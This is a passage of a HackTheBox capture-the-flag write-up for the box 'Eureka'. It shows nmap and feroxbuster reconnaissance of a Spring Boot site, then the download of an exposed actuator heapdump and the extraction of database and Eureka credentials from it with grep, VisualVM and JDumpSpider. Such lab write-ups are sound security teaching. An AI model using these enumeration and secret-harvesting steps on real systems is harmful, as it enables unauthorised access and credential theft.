Eureka

Eureka starts with a Spring Boot website. I’ll abuse an exposed heapdump endpoint to get creds from memory and SSH access. From there I’ll poison the Spring Cloud Gateway configuration to capture login credentials for another user. To get root, I’ll abuse a Bash arithmetic injection to get execution in a script analyzing logs on a cron.

Box Info

Name Eureka Eureka
Play on HackTheBox
Release Date 26 Apr 2025
Retire Date 30 Aug 2025
OS Linux Linux
Base Points Hard [40]
Rated Difficulty Rated difficulty for Eureka
Radar Graph Radar chart for Eureka
First Blood User 00:53:37snowscan
First Blood Root 01:14:54jkr
Creator Spectra199

Recon

nmap

nmap finds three open TCP ports, SSH (22) and two HTTP (80, 8761):

oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.66
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-30 04:59 UTC
Nmap scan report for 10.10.11.66
Host is up (0.022s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8761/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 13.80 seconds
oxdf@hacky$ nmap -p 22,80,8761 -sCV 10.10.11.66                                      
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-30 04:59 UTC
Nmap scan report for 10.10.11.66
Host is up (0.022s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)                                  
| ssh-hostkey:
|   3072 d6:b2:10:42:32:35:4d:c9:ae:bd:3f:1f:58:65:ce:49 (RSA)
|   256 90:11:9d:67:b6:f6:64:d4:df:7f:ed:4a:90:2e:6d:7b (ECDSA)
|_  256 94:37:d3:42:95:5d:ad:f7:79:73:a6:37:94:45:ad:47 (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://furni.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
8761/tcp open  unknown
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 401
|     Vary: Origin
|     Vary: Access-Control-Request-Method
|     Vary: Access-Control-Request-Headers
|     Set-Cookie: JSESSIONID=00586F517EBAA524796433BE46E03F7C; Path=/; HttpOnly
|     WWW-Authenticate: Basic realm="Realm"
|     X-Content-Type-Options: nosniff
|     X-XSS-Protection: 0
|     Cache-Control: no-cache, no-store, max-age=0, must-revalidate
|     Pragma: no-cache
|     Expires: 0
|     X-Frame-Options: DENY
|     Content-Length: 0
|     Date: Tue, 29 Apr 2025 20:57:39 GMT
|     Connection: close
|   HTTPOptions:
|     HTTP/1.1 401
|     Vary: Origin
|     Vary: Access-Control-Request-Method
|     Vary: Access-Control-Request-Headers
|     Set-Cookie: JSESSIONID=436FA17E5F48F95EA015E4D4CE974A23; Path=/; HttpOnly
|     WWW-Authenticate: Basic realm="Realm"
|     X-Content-Type-Options: nosniff
|     X-XSS-Protection: 0
|     Cache-Control: no-cache, no-store, max-age=0, must-revalidate
|     Pragma: no-cache
|     Expires: 0
|     X-Frame-Options: DENY
|     Content-Length: 0
|     Date: Tue, 29 Apr 2025 20:57:39 GMT
|     Connection: close
|   RPCCheck, RTSPRequest:
|     HTTP/1.1 400
|     Content-Type: text/html;charset=utf-8
|     Content-Language: en
|     Content-Length: 435
|     Date: Tue, 29 Apr 2025 20:57:39 GMT
|     Connection: close
|     <!doctype html><html lang="en"><head><title>HTTP Status 400
|     Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400
|_    Request</h1></body></html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8761-TCP:V=7.94SVN%I=7%D=4/30%Time=6811AE52%P=x86_64-pc-linux-gnu%r
SF:(GetRequest,1D1,"HTTP/1\.1\x20401\x20\r\nVary:\x20Origin\r\nVary:\x20Ac
SF:cess-Control-Request-Method\r\nVary:\x20Access-Control-Request-Headers\
SF:r\nSet-Cookie:\x20JSESSIONID=00586F517EBAA524796433BE46E03F7C;\x20Path=
SF:/;\x20HttpOnly\r\nWWW-Authenticate:\x20Basic\x20realm=\"Realm\"\r\nX-Co
SF:ntent-Type-Options:\x20nosniff\r\nX-XSS-Protection:\x200\r\nCache-Contr
SF:ol:\x20no-cache,\x20no-store,\x20max-age=0,\x20must-revalidate\r\nPragm
SF:a:\x20no-cache\r\nExpires:\x200\r\nX-Frame-Options:\x20DENY\r\nContent-
SF:Length:\x200\r\nDate:\x20Tue,\x2029\x20Apr\x202025\x2020:57:39\x20GMT\r
SF:\nConnection:\x20close\r\n\r\n")%r(HTTPOptions,1D1,"HTTP/1\.1\x20401\x2
SF:0\r\nVary:\x20Origin\r\nVary:\x20Access-Control-Request-Method\r\nVary:
SF:\x20Access-Control-Request-Headers\r\nSet-Cookie:\x20JSESSIONID=436FA17
SF:E5F48F95EA015E4D4CE974A23;\x20Path=/;\x20HttpOnly\r\nWWW-Authenticate:\
SF:x20Basic\x20realm=\"Realm\"\r\nX-Content-Type-Options:\x20nosniff\r\nX-
SF:XSS-Protection:\x200\r\nCache-Control:\x20no-cache,\x20no-store,\x20max
SF:-age=0,\x20must-revalidate\r\nPragma:\x20no-cache\r\nExpires:\x200\r\nX
SF:-Frame-Options:\x20DENY\r\nContent-Length:\x200\r\nDate:\x20Tue,\x2029\
SF:x20Apr\x202025\x2020:57:39\x20GMT\r\nConnection:\x20close\r\n\r\n")%r(R
SF:TSPRequest,24E,"HTTP/1\.1\x20400\x20\r\nContent-Type:\x20text/html;char
SF:set=utf-8\r\nContent-Language:\x20en\r\nContent-Length:\x20435\r\nDate:
SF:\x20Tue,\x2029\x20Apr\x202025\x2020:57:39\x20GMT\r\nConnection:\x20clos
SF:e\r\n\r\n<!doctype\x20html><html\x20lang=\"en\"><head><title>HTTP\x20St
SF:atus\x20400\x20\xe2\x80\x93\x20Bad\x20Request</title><style\x20type=\"t
SF:ext/css\">body\x20{font-family:Tahoma,Arial,sans-serif;}\x20h1,\x20h2,\
SF:x20h3,\x20b\x20{color:white;background-color:#525D76;}\x20h1\x20{font-s
SF:ize:22px;}\x20h2\x20{font-size:16px;}\x20h3\x20{font-size:14px;}\x20p\x
SF:20{font-size:12px;}\x20a\x20{color:black;}\x20\.line\x20{height:1px;bac
SF:kground-color:#525D76;border:none;}</style></head><body><h1>HTTP\x20Sta
SF:tus\x20400\x20\xe2\x80\x93\x20Bad\x20Request</h1></body></html>")%r(RPC
SF:Check,24E,"HTTP/1\.1\x20400\x20\r\nContent-Type:\x20text/html;charset=u
SF:tf-8\r\nContent-Language:\x20en\r\nContent-Length:\x20435\r\nDate:\x20T
SF:ue,\x2029\x20Apr\x202025\x2020:57:39\x20GMT\r\nConnection:\x20close\r\n
SF:\r\n<!doctype\x20html><html\x20lang=\"en\"><head><title>HTTP\x20Status\
SF:x20400\x20\xe2\x80\x93\x20Bad\x20Request</title><style\x20type=\"text/c
SF:ss\">body\x20{font-family:Tahoma,Arial,sans-serif;}\x20h1,\x20h2,\x20h3
SF:,\x20b\x20{color:white;background-color:#525D76;}\x20h1\x20{font-size:2
SF:2px;}\x20h2\x20{font-size:16px;}\x20h3\x20{font-size:14px;}\x20p\x20{fo
SF:nt-size:12px;}\x20a\x20{color:black;}\x20\.line\x20{height:1px;backgrou
SF:nd-color:#525D76;border:none;}</style></head><body><h1>HTTP\x20Status\x
SF:20400\x20\xe2\x80\x93\x20Bad\x20Request</h1></body></html>");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .                                                               
Nmap done: 1 IP address (1 host up) scanned in 14.44 seconds    

Based on package versions, the host is likely running Ubuntu 20.04 focal (though it could be 20.10 groovy).

The webserver on port 80 is returning a redirect to furni.htb. I’ll use ffuf to look for any subdomains that respond differently, and on not finding any, add this to my /etc/hosts file:

10.10.11.66 furni.htb

I’ll also rescan with nmap targeting the domain name, but it doesn’t find anything.

The webserver on TCP 8761 is returning a basic auth prompt.

Website - TCP 80

Site

The site is for a furniture store:

image-20250429171506969 expand

There are several pages, like /about and /blog. I’ll collect a bunch of potential usernames from both the employees list and the blog author and comments.

The Contact Us link (/contact) has a form:

image-20250429172307627

It’s weird that the email address uses a different domain than the site. I suspect that’s a mistake from the creator, as I didn’t see that used anywhere else. Submitting the form does send the data as a POST request, but there’s no other indication that this is monitored.

The Shop (/shop) section has furniture for purchase, but if I try to add something to my cart with the plus symbol, it sends an error message:

image-20250429173039164

I’ll register an account and try again, and then it goes to my cart:

image-20250429173219980

There’s a checkout process, but I can’t get it to work.

Tech Stack

The HTTP request headers show nginx, as well as a bunch of others:

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 29 Apr 2025 21:13:41 GMT
Content-Type: text/html;charset=UTF-8
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
Content-Language: en-US
Content-Length: 18854

There’s nothing definitive there.

The 404 page is the default Spring Boot 404 page:

image-20250429172027947

Spring Boot is a Java web framework.

Directory Brute Force

I’ll run feroxbuster against the site, and it finds a good deal of items:

oxdf@hacky$ feroxbuster -u http://furni.htb

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://furni.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        1l        2w        -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET        6l       62w      800c http://furni.htb/static/images/return.svg
200      GET        4l       23w      244c http://furni.htb/static/images/cross.svg
200      GET        5l       73w      761c http://furni.htb/static/images/bag.svg
200      GET       10l       88w      890c http://furni.htb/static/images/envelope-outline.svg
200      GET        6l       79w     1002c http://furni.htb/static/images/truck.svg
200      GET        5l       93w      814c http://furni.htb/static/images/cart.svg
404      GET        7l       12w      162c http://furni.htb/static/images/favicon.png
200      GET        4l       64w      555c http://furni.htb/static/images/user.svg
200      GET        9l      104w     1201c http://furni.htb/static/images/support.svg
200      GET        3l       50w     2177c http://furni.htb/static/css/tiny-slider.css
200      GET       73l      157w     1809c http://furni.htb/static/js/custom.js
200      GET       28l       83w     1550c http://furni.htb/login
200      GET      711l     2053w    20707c http://furni.htb/static/css/style.css
200      GET        2l      517w    31737c http://furni.htb/static/js/tiny-slider.js
404      GET        7l       12w      162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      277l     1401w    95869c http://furni.htb/static/images/person.png
302      GET        0l        0w        0c http://furni.htb/comment => http://furni.htb/login
301      GET        7l       12w      178c http://furni.htb/static/js => http://furni.htb/static/js/
301      GET        7l       12w      178c http://furni.htb/static/css => http://furni.htb/static/css/
403      GET        7l       10w      162c http://furni.htb/static/
301      GET        7l       12w      178c http://furni.htb/static/images => http://furni.htb/static/images/
200      GET      303l      829w    10738c http://furni.htb/contact
200      GET      466l     2775w   216716c http://furni.htb/static/images/product-3.png
200      GET        6l     1029w    78080c http://furni.htb/static/js/bootstrap.bundle.min.js
200      GET      331l     2201w   186760c http://furni.htb/static/images/product-1.png
200      GET       21l       64w     1159c http://furni.htb/logout
403      GET        7l       10w      162c http://furni.htb/static/css/
403      GET        7l       10w      162c http://furni.htb/static/js/
403      GET        7l       10w      162c http://furni.htb/static/images/
301      GET        7l       12w      178c http://furni.htb/static/images/products => http://furni.htb/static/images/products/
301      GET        7l       12w      178c http://furni.htb/static/images/blogs => http://furni.htb/static/images/blogs/
200      GET      569l     3442w   284339c http://furni.htb/static/images/product-2.png
302      GET        0l        0w        0c http://furni.htb/checkout => http://furni.htb/login
500      GET        1l        1w       73c http://furni.htb/error
302      GET        0l        0w        0c http://furni.htb/cart => http://furni.htb/login
405      GET        1l        3w      114c http://furni.htb/process_register
200      GET      254l      613w     9028c http://furni.htb/register
200      GET      535l     3080w   225469c http://furni.htb/static/images/blogs/2.jpg
200      GET        0l        0w        0c http://furni.htb/blog/5
200      GET        0l        0w        0c http://furni.htb/blog/6
200      GET      136l      567w     8167c http://furni.htb/blog/4
200      GET      207l     1590w   127637c http://furni.htb/static/images/person_2.jpg
200      GET      432l     1135w    14173c http://furni.htb/services
200      GET      578l     3061w   232386c http://furni.htb/static/images/products/8.png
302      GET        0l        0w        0c http://furni.htb/cart/add => http://furni.htb/login
302      GET        0l        0w        0c http://furni.htb/cart/ => http://furni.htb/login
200      GET      161l     1545w   135044c http://furni.htb/static/images/person_3.jpg
200      GET      591l     3219w   219057c http://furni.htb/static/images/products/7.png
200      GET      242l     1514w   153102c http://furni.htb/static/images/person_1.jpg
200      GET      449l     1140w    14351c http://furni.htb/about
200      GET     1393l     6087w   705961c http://furni.htb/static/images/why-choose-us-img.jpg
200      GET      894l     5474w   514630c http://furni.htb/static/images/blogs/5.jpg
200      GET      486l     2338w   210208c http://furni.htb/static/images/products/3.png
200      GET      331l     2201w   186760c http://furni.htb/static/images/products/1.png
200      GET      734l     4989w   510519c http://furni.htb/static/images/post-1.jpg
200      GET        6l     2003w   163826c http://furni.htb/static/css/bootstrap.min.css
200      GET      734l     4989w   510519c http://furni.htb/static/images/blogs/3.jpg
200      GET      466l     2775w   216716c http://furni.htb/static/images/products/4.png
200      GET      513l     2968w   364489c http://furni.htb/static/images/img-grid-2.jpg
200      GET      899l     5913w   667689c http://furni.htb/static/images/blogs/4.jpg
200      GET     1078l     6167w   487968c http://furni.htb/static/images/products/5.png
200      GET      535l     3806w   414946c http://furni.htb/static/images/img-grid-3.jpg
200      GET      607l     3098w   254672c http://furni.htb/static/images/products/6.png
200      GET     1078l     6167w   487968c http://furni.htb/static/images/sofa.png
200      GET      569l     3442w   284339c http://furni.htb/static/images/products/2.png
200      GET      352l      912w    12412c http://furni.htb/shop
200      GET     2349l    13251w   827047c http://furni.htb/static/images/blogs/1.jpg
200      GET      894l     5474w   514630c http://furni.htb/static/images/post-3.jpg
200      GET     1013l     5858w   458359c http://furni.htb/static/images/blogs/6.jpg
200      GET      398l     1025w    13568c http://furni.htb/blog
200      GET      899l     5913w   667689c http://furni.htb/static/images/post-2.jpg
200      GET     1411l     7451w   619723c http://furni.htb/static/images/couch.png
200      GET      136l      711w     8823c http://furni.htb/blog/2
200      GET      145l      793w    10004c http://furni.htb/blog/1
200      GET      136l      708w     8830c http://furni.htb/blog/3
200      GET     3096l    18300w  1972271c http://furni.htb/static/images/img-grid-1.jpg
200      GET      549l     1497w    18854c http://furni.htb/
400      GET        0l        0w        0c http://furni.htb/[
400      GET        0l        0w        0c http://furni.htb/plain]
400      GET        0l        0w        0c http://furni.htb/]
400      GET        0l        0w        0c http://furni.htb/quote]
400      GET        0l        0w        0c http://furni.htb/extension]
400      GET        0l        0w        0c http://furni.htb/[0-9]
[####################] - 5m    210072/210072  0s      found:82      errors:8
[####################] - 5m     30000/30000   109/s   http://furni.htb/
[####################] - 51s    30000/30000   589/s   http://furni.htb/static/js/
[####################] - 50s    30000/30000   604/s   http://furni.htb/static/
[####################] - 50s    30000/30000   594/s   http://furni.htb/static/css/
[####################] - 51s    30000/30000   584/s   http://furni.htb/static/images/
[####################] - 51s    30000/30000   590/s   http://furni.htb/static/images/products/
[####################] - 51s    30000/30000   590/s   http://furni.htb/static/images/blogs/ 

There’s nothing here I haven’t already interacted with just browsing the site.

Given the tech stack, I’ll run again with a Spring Boot-specific list:

oxdf@hacky$ feroxbuster -u http://furni.htb -w /opt/SecLists/Discovery/Web-Content/spring-boot.txt --dont-extract-links

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://furni.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /opt/SecLists/Discovery/Web-Content/spring-boot.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        1l        2w        -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET        1l        6w      467c http://furni.htb/actuator/features
404      GET        0l        0w        0c http://furni.htb/actuator/env/language
404      GET        0l        0w        0c http://furni.htb/actuator/env/tz
200      GET        1l       11w      668c http://furni.htb/actuator/env/lang
200      GET        1l        1w       15c http://furni.htb/actuator/health
200      GET        1l        1w     2129c http://furni.htb/actuator
200      GET        1l       11w      668c http://furni.htb/actuator/env/home
200      GET      549l     1497w    18854c http://furni.htb/
404      GET        0l        0w        0c http://furni.htb/actuator/env/spring.jmx.enabled
400      GET        1l        2w      108c http://furni.htb/actuator/sessions
200      GET        1l       11w      668c http://furni.htb/actuator/env/path
200      GET        1l       94w     6307c http://furni.htb/actuator/env
404      GET        0l        0w        0c http://furni.htb/actuator/env/pwd
200      GET        1l        1w       20c http://furni.htb/actuator/caches
200      GET        1l        1w     3356c http://furni.htb/actuator/metrics
404      GET        0l        0w        0c http://furni.htb/actuator/env/hostname
200      GET        1l        1w       54c http://furni.htb/actuator/scheduledtasks
405      GET        1l        3w      114c http://furni.htb/actuator/refresh
200      GET        1l        1w        2c http://furni.htb/actuator/info
200      GET        1l      362w    35560c http://furni.htb/actuator/mappings
200      GET        1l      913w   202254c http://furni.htb/actuator/beans
200      GET        1l        1w   101504c http://furni.htb/actuator/loggers
200      GET        1l     5691w   184221c http://furni.htb/actuator/conditions
200      GET        1l       43w    37195c http://furni.htb/actuator/configprops
200      GET        1l        5w  2180638c http://furni.htb/actuator/threaddump
200      GET        0l        0w 80165337c http://furni.htb/actuator/heapdump
[####################] - 9s       113/113     0s      found:24      errors:0      
[####################] - 8s       113/113     14/s    http://furni.htb/    

Having the /actuator endpoints exposed can be a significant issue, especially the /actuator/heapdump endpoint.

Shell as oscar190

heapdump Analysis

Background

Wiz.io has a nice article from December 2024, Under the Radar: Exploring Spring Boot Actuator Misconfigurations. The top example is “#1 Exposed HeapDump file”, which seems to apply here.

The Spring Boot Actuator heapdump endpoint is designed to capture the current state of the Java heap, making it a valuable tool for diagnosing memory issues. However, if credentials such as passwords, tokens, cloud keys, or other secrets are loaded into the memory of a Java application’s JVM during its runtime, these might be included in the heap dump. Therefore, if accidentally configured to be publicly exposed, this endpoint could reveal this sensitive information to unauthorized users.

Download

I’ll grab a copy of the heapdump:

oxdf@hacky$ wget http://furni.htb/actuator/heapdump
--2025-04-30 18:59:33--  http://furni.htb/actuator/heapdump
Resolving furni.htb (furni.htb)... 10.10.11.66
Connecting to furni.htb (furni.htb)|10.10.11.66|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 80165337 (76M) [application/octet-stream]
Saving to: ‘heapdump’

heapdump                          100%[============================================================>]  76.45M  5.52MB/s    in 14s     

2025-04-30 18:59:48 (5.36 MB/s) - ‘heapdump’ saved [80165337/80165337]

Strings

There are many ways to look at this heapdump. I’ll start looking for strings in the memory dump. There are a a lot:

oxdf@hacky$ strings heapdump > heapdump_strings
oxdf@hacky$ wc -l heapdump_strings 
480688 heapdump_strings

I can try grepping for some of the patterns from the wiz.io article (with some additional greps included to remove false positives), but it doesn’t find anything useful:

oxdf@hacky$ strings heapdump | grep -iv KeyJ | grep -B 2 -A 2 "eyJ" 
YU17vpCYm7plGv3eg2jXgpqtebZzuJzWbIrqzDMOj6E=!
org/bouncycastle/util/test/FixedSecureRandom$Data.class!
eKyMTA86R4iSI1Rxp1eyJvLpYFWch8NKUvIqO3OE/8k=!
META-INF/versions/9/org/bouncycastle/math/ec/endo/GLVTypeBParameters.class!
l8qczsrdpxugi/MjAQVueMlbUf3FWu0uTgBdiDzvJuQ=!
oxdf@hacky$ strings heapdump | grep -B 2 -A 2 "AKIA"
oxdf@hacky$ strings heapdump | grep -E "^Host:\s+\S+$" -C 10
Keep-Alive: timeout=60
Connection: keep-alive
VJ,(
V*K-*
SRsJ
Utlm-
GET /eureka/apps/delta HTTP/1.1
Accept: application/json, application/*+json
Authorization: Basic RXVyZWthU3J2cjowc2NhclBXRGlzVGhlQjNzdA==
Accept-Encoding: gzip, x-gzip, deflate
Host: localhost:8761
Connection: keep-alive
User-Agent: Apache-HttpClient/5.3.1 (Java/17.0.11)
;cH!
http-outgoing-2!
Accept-Encoding!
;(p!
;A`!
;'x!
Apache-HttpClient/5.3.1 (Java/17.0.11)!
;Vp!
--
X-Frame-Options: DENY
Content-Length: 0
Date: Thu, 01 Aug 2024 18:29:30 GMT
Keep-Alive: timeout=60
Connection: keep-alive
PUT /eureka/apps/FURNI/eureka:Furni:8082?status=UP&lastDirtyTimestamp=1722535252684 HTTP/1.1
Accept: application/json, application/*+json
Authorization: Basic RXVyZWthU3J2cjowc2NhclBXRGlzVGhlQjNzdA==
Accept-Encoding: gzip, x-gzip, deflate
Content-Length: 0
Host: localhost:8761
Connection: keep-alive
User-Agent: Apache-HttpClient/5.3.1 (Java/17.0.11)
;cH!
2>s(!
httponly!
UP_3_!
multiple '%s' headers found!
Attempted read on closed stream.!
No more header elements available!
PacketReader.10!

VisualVM

A post called Debugging Spring Boot Applications for Memory Leaks talks about how to look at heapdump files, and shows a tool, VisualVM. I’ll download a copy from the download page, unzip it, and run visualvm_22/bin/visualvm. I’ll open the heapdump file:

image-20250430083220766

Another post, Analyzing Java Heap Dumps via OQL queries shows how to query the memory for various strings but moving to the OQL Console:

image-20250430084353392

It suggests searchign for strings that contain “jwt”:

image-20250430084443213

None of these prove useful, but I have a technique This returns only five results, where just using grep returns 17, and the others are likely false positives.

Searching for “password” returns a bunch more, but still a manageable amount to scroll through, and one jumps out:

image-20250430084616401

It’s a Java database connectivity (JDBC) string:

jdbc:mysql://localhost:3306/Furni_WebApp_DB§{password=0sc@r190_S0l!dP@sswd, user=oscar190}

It has a password and username.

I will also look for other URIs in the memory by searching for “://”. One interesting hit is:

image-20250430085617725

There’s some interaction with TCP 8082. There’s the GitHub URL for jackson, which implies some data encoding / decoding.

There’s also a connection string for localhost:8761 with a password:

image-20250430085916771

I’ll filter down a bit more and look at all the URI’s with “localhost” or “eureka”:

image-20250430092509093

Nothing else groundbreaking, other than to say there’s a lot of strings with ports 8081, 8082, and 8761.

JDumpSpider

JDumpSpider is a tool for pulling interesting information out of a heapdump. I’ll download the latest JAR and pass it the heapdump, and it generates only 169 lines of output:

oxdf@hacky$ java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump | wc -l
169

Full:

oxdf@hacky$ java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump
Loading heap dump heapdump from cache failed.
java.io.IOException: Invalid HPROF version 3 loaded 5
        at org.graalvm.visualvm.lib.jfluid.heap.HprofHeap.<init>(HprofHeap.java:378)
        at org.graalvm.visualvm.lib.jfluid.heap.HeapFactory.loadHeap(HeapFactory.java:96)
        at org.graalvm.visualvm.lib.jfluid.heap.HeapFactory.createHeap(HeapFactory.java:79)
        at org.graalvm.visualvm.lib.jfluid.heap.HeapFactory.createHeap(HeapFactory.java:55)
        at org.graalvm.visualvm.lib.jfluid.heap.GraalvmHeapHolder.<init>(GraalvmHeapHolder.java:18)
        at cn.wanghw.Main.call(Main.java:96)
        at cn.wanghw.Main.run(Main.java:33)
        at cn.wanghw.Main.main(Main.java:63)
===========================================
SpringDataSourceProperties
-------------
password = 0sc@r190_S0l!dP@sswd
driverClassName = com.mysql.cj.jdbc.Driver
url = jdbc:mysql://localhost:3306/Furni_WebApp_DB
username = oscar190

===========================================
WeblogicDataSourceConnectionPoolConfig
-------------
not found!

===========================================
MongoClient
-------------
not found!

===========================================
AliDruidDataSourceWrapper
-------------
not found!

===========================================
HikariDataSource
-------------
java.lang.NumberFormatException: Cannot parse null string
not found!

===========================================
RedisStandaloneConfiguration
-------------
not found!

===========================================
JedisClient
-------------
not found!

===========================================
CookieRememberMeManager(ShiroKey)
-------------
not found!

===========================================
OriginTrackedMapPropertySource
-------------
management.endpoints.web.exposure.include = *
spring.datasource.driver-class-name = com.mysql.cj.jdbc.Driver
spring.cloud.inetutils.ignoredInterfaces = enp0s.*
eureka.client.service-url.defaultZone = http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/
server.forward-headers-strategy = native
spring.datasource.url = jdbc:mysql://localhost:3306/Furni_WebApp_DB
spring.application.name = Furni
server.port = 8082
spring.jpa.properties.hibernate.format_sql = true
spring.session.store-type = jdbc
spring.jpa.hibernate.ddl-auto = none

===========================================
MutablePropertySources
-------------
spring.cloud.client.ip-address = 127.0.0.1
local.server.port = null
spring.cloud.client.hostname = eureka

===========================================
MapPropertySources
-------------
spring.cloud.client.ip-address = 127.0.0.1
spring.cloud.client.hostname = eureka
local.server.port = null

===========================================
ConsulPropertySources
-------------
not found!

===========================================
JavaProperties
-------------
not found!

===========================================
ProcessEnvironment
-------------
not found!

===========================================
OSS
-------------
org.jboss.logging.provider = slf4j

===========================================
UserPassSearcher
-------------
org.springframework.security.web.authentication.ui.DefaultLoginPageGeneratingFilter:
[oauth2LoginEnabled = false, passwordParameter = password, formLoginEnabled = true, usernameParameter = username, loginPageUrl = /login, authenticationUrl = /login, saml2LoginEnabled = false, failureUrl = /login?error]
[oauth2LoginEnabled = false, formLoginEnabled = false, saml2LoginEnabled = false]

org.springframework.security.web.authentication.UsernamePasswordAuthenticationFilter:
[passwordParameter = password, usernameParameter = username]

org.antlr.v4.runtime.atn.LexerATNConfig:
[passedThroughNonGreedyDecision = false]

org.antlr.v4.runtime.atn.ATNDeserializationOptions:
[generateRuleBypassTransitions = false]

org.hibernate.boot.internal.InFlightMetadataCollectorImpl:
[inSecondPass = false]

com.mysql.cj.protocol.a.authentication.AuthenticationLdapSaslClientPlugin:
[firstPass = true]

com.mysql.cj.protocol.a.authentication.CachingSha2PasswordPlugin:
[publicKeyRequested = false]

com.mysql.cj.protocol.a.authentication.Sha256PasswordPlugin:
[publicKeyRequested = false]

com.mysql.cj.NativeCharsetSettings:
[platformDbCharsetMatches = true]

com.mysql.cj.protocol.a.NativeAuthenticationProvider:
[database = Furni_WebApp_DB, useConnectWithDb = true, serverDefaultAuthenticationPluginName = mysql_native_password, username = oscar190]

com.mysql.cj.jdbc.ConnectionImpl:
[password = 0sc@r190_S0l!dP@sswd, database = Furni_WebApp_DB, origHostToConnectTo = localhost, user = oscar190]

com.mysql.cj.conf.HostInfo:
[password = 0sc@r190_S0l!dP@sswd, host = localhost, user = oscar190]

com.zaxxer.hikari.pool.HikariPool:
[aliveBypassWindowMs = 500, isUseJdbc4Validation = true]

org.springframework.cloud.netflix.eureka.EurekaClientConfigBean:
[eurekaServerConnectTimeoutSeconds = 5, useDnsForFetchingServiceUrls = false, eurekaServerReadTimeoutSeconds = 8, eurekaServerTotalConnections = 200, eurekaServiceUrlPollIntervalSeconds = 300, eurekaServerTotalConnectionsPerHost = 50]

org.springframework.boot.autoconfigure.security.SecurityProperties$User:
[password = 4312eecb-54e8-46b9-a645-5b9df3ea21d8, passwordGenerated = true]

org.springframework.boot.autoconfigure.jdbc.DataSourceProperties:
[password = 0sc@r190_S0l!dP@sswd, driverClassName = com.mysql.cj.jdbc.Driver, url = jdbc:mysql://localhost:3306/Furni_WebApp_DB, username = oscar190]

org.springframework.security.authentication.dao.DaoAuthenticationProvider:
[hideUserNotFoundExceptions = true]

com.zaxxer.hikari.HikariDataSource:
[keepaliveTime = 0, password = 0sc@r190_S0l!dP@sswd, jdbcUrl = jdbc:mysql://localhost:3306/Furni_WebApp_DB, driverClassName = com.mysql.cj.jdbc.Driver, username = oscar190]

org.apache.catalina.startup.Tomcat:
[hostname = localhost]


===========================================
CookieThief
-------------
not found!

===========================================
AuthThief
-------------
java.util.LinkedHashMap$Entry:
org.springframework.security.config.annotation.authentication.configuration.InitializeUserDetailsBeanManagerConfigurer$InitializeUserDetailsManagerConfigurer = o.s.s.c.a.a.c.InitializeUserDetailsBeanManagerConfigurer$InitializeUserDetailsManagerConfigurer
org.springframework.security.config.annotation.authentication.configuration.InitializeAuthenticationProviderBeanManagerConfigurer$InitializeAuthenticationProviderManagerConfigurer = o.s.s.c.a.a.c.InitializeAuthenticationProviderBeanManagerConfigurer$InitializeAuthenticationProviderManagerConfigurer


===========================================

Some of the highlights include both passwords:

oxdf@hacky$ java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump
Loading heap dump heapdump from cache failed.
...[snip]...
===========================================
SpringDataSourceProperties
-------------
password = 0sc@r190_S0l!dP@sswd
driverClassName = com.mysql.cj.jdbc.Driver
url = jdbc:mysql://localhost:3306/Furni_WebApp_DB
username = oscar190
...[snip]...
===========================================
OriginTrackedMapPropertySource
-------------
management.endpoints.web.exposure.include = *
